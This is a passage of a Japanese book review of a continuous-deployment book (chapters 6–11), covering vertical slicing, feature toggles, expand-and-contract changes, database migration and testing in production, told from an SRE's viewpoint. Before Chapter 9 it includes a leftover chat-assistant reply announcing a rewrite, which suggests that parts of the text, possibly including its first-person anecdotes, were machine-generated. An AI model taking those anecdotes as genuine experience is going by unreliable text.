6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\\"完了\\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテクチャ環境では、各サービスの新バージョンを独立してテストできるようになり、リスクを大幅に軽減できました。一方で、フィーチャートグルの管理には課題もあります。トグルの数が増えすぎると、コードの複雑性が増し、メンテナンスが困難になる可能性があります。この点について、著者の議論がもう少し深掘りされていれば良かったと感じました。私のチームでは、定期的なトグルの棚卸しと、トグルのライフサイクル管理を導入することで、この問題に対処しています。テストデータの管理本番環境でのテストにおけるテストデータの管理の重要性について強調しています。特に、テストデータと実データの分離、テストデータの漏洩防止について詳細に説明されています。この点は、SREの観点からも非常に重要です。テストデータの不適切な管理は、セキュリティリスクやコンプライアンス違反につながる可能性があります。私のチームでは、テストデータに特別なフラグを付け、本番環境でも安全に使用できるようにしています。また、テストデータの自動生成と定期的なクリーンアップを行うことで、データの鮮度と安全性を維持しています。著者の提案の中で特に興味深かったのは、テストデータを常に返すAPIの考え方です。これは、システム全体の一貫性を保つ上で非常に有効な方法だと感じました。ただし、この方法を採用する際は、パフォーマンスへ